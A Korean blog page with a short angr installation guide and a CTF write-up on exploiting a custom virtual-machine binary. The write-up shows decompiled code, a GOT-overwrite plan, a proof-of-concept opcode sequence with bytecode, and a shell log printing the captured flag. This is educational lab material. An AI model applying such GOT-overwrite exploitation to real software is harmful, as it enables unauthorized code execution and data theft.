반응형

Angr는 python 기반으로 되어 있는 바이너리 동적 분석 도구로 Computer Security Lab at UC Santa Barbara에서 관리되어지고 있다.

AEG(Auto Exploit Generation)에서 Symbolic Execution에 속하는 도구라고 생각하면 된다.

따라서 CTF 리버싱 문제를 풀때 사용하면 편하게 풀 수 있다.


설치 홈페이지: http://angr.io/install.html

위 사이트를 통해 쉽게 설치할 수 있으나 나는 github에 있는 angr-dev를 통해 설치하는 것을 권장한다.

Angr는 많은 연산을 필요로 하는데 cpython으로 할시 엄청난 시간을 소비하게 된다.

따라서 Angr 문서에서도 Pypy를 사용하는 것을 추천하고 있다.


Pypy: http://pypy.org/download.html

나는 2.7 호환 버전을 다운받아 /opt/에 압축풀었다.


Root 권한을 추천한다.


# mkvirtualenv -p /opt/pypy/bin/pypy angr

# deactivate

# git clone https://github.com/angr/angr-dev

# cd angr-dev

# ./setup.sh -i -p angr


이후 workon angr를 사용해  angr를 사용하면 된다.

'Reversing > Etc' 카테고리의 다른 글

주관적인 리버싱 공부 단계  (0) 2017.08.06
APK 정적 분석  (0) 2017.02.17
반응형

IDA CODE VCPU Line 27

  fp = fopen(file_path, "rb");
  if ( !fp )
  {
    puts("\nFILE ERROR!!");
    printf("FILE : %s\n", file_path);
    exit(1);
  }
  fread(fbuf, 1u, 0x10000u, fp);
  if ( DBG_FLG )
    puts("[+] FILE READING...");
  memcpy(CODE, fbuf, 0x10000u);
  if ( DBG_FLG )
    puts("[*] INSERT COMPLETE\n");
  close((int)fp);
  regi->_EIP = (OPCODE *)CODE;
  if ( DBG_FLG )
    printf("[+] EIP SET : 0x%08x\n", regi->_EIP);

  /* 생략 */

  while ( 1 )
  {
    do
    {
      opcodes[v0->INS]((char)v0->MOD, v0->OPT1, v0->OPT2);
      v0 = regi->_EIP;
    }


분석을 하면 고맙게도 strip을 하지 않은 것을 알 수 있다.

일단 바이너리는 온몸을 다해서 자신이 VM이라는 것을 말하고 있는데


IDA CODE mov_8

void __cdecl mov_8(_DWORD *a1, int a2)
{
  *a1 = a2;
  if ( DBG_FLG )
    printf("[*] MOV RESULT : %08x,%08x\n", *a1, a2);
}


여기를 분석하면 mov [OPT1]. OPT2 가 되어

원하는 주소에 값을 넣을 수 있다.


IDA CODE mov_6

int __cdecl mov_6(_DWORD *a1, _DWORD *a2)
{
  int result; // eax@1

  *a1 = *a2;
  result = (unsigned __int8)DBG_FLG;
  if ( DBG_FLG )
    result = printf("[*] MOV RESULT : %08x,%08x\n", *a1, *a2);
  return result;
}

IDA CODE mov_1

int __cdecl mov_1(int a1, _DWORD *a2)
{
  int result; // eax@1

  *(&regi->_EAX + a1) = *a2;
  result = (unsigned __int8)DBG_FLG;
  if ( DBG_FLG )
    result = printf("[*] MOV RESULT : %08x,%08x\n", *(&regi->_EAX + a1), a2);
  return result;
}


또한 mov_6에서는 mov [OPT1], [OPT2]

mov_1 은 mov REG[OPT1], [OPT2]

와 같이 메모리의 값을 가져 올 수 있다


syscall 함수에서 read, write 함수를 호출 하므로

read GOT와 write GOT를 덮어 씌워 주면 flag가?


cat: flag: Permission denied


???????

여기서 던짐 각이 나왔다.

원인은 setuid를 한게 아닌 setgid를 해서

권한이 없다는 것이다.


그래서 밥먹고 다시 생각해 보니


1. file_path를 flag로 맞춘다

2. memcpy를 write로 바꾼다

3. CODE를 01로 바꾼다

4. read를 VCPU+0x17D로 바꾼다

5. syscall read를 호출한다

6. ??????

7, PROFIT!


GOT를 VCPU에 있는 memcpy가

memcpy(CODE, fbuf, 0x10000u);

write(01, fbuf, 0x10000u);

가 되면서 플래그를 뿌려 줄 것이다

POC Code
mov [0x804d140],0x67616c66
mov [0x804d144],0x00000000


mov [0x804D018],[0x804D034]
mov [0x804D010],0x8048970
mov [0x0804D1B4], 01
syscall read

Byte Code

0000140040d10408666c6167
0000140044d1040800000000
0000110018d0040834d00408
0000140010d0040870890408
00001400b4d1040801000000
180000000000000000000000

SSH

VM@ip-172-31-17-183:~$ ./VM -f /tmp/lol/tmp
H3X0R{TH15_15_5T4G3_0N3}
4´Segmentation fault (core dumped)
VM@ip-172-31-17-183:~$


'CTF' 카테고리의 다른 글

DoubleS1405 Write UP  (0) 2017.04.01
Codegate2017 prequals Writeup  (0) 2017.02.15
PlaidCTF 2016 quick  (0) 2016.04.18
CodeGate 2016 Junior BugBug  (0) 2016.03.20
CodeGate 2016 Junior JS_is_not_a_jail  (0) 2016.03.19

+ Recent posts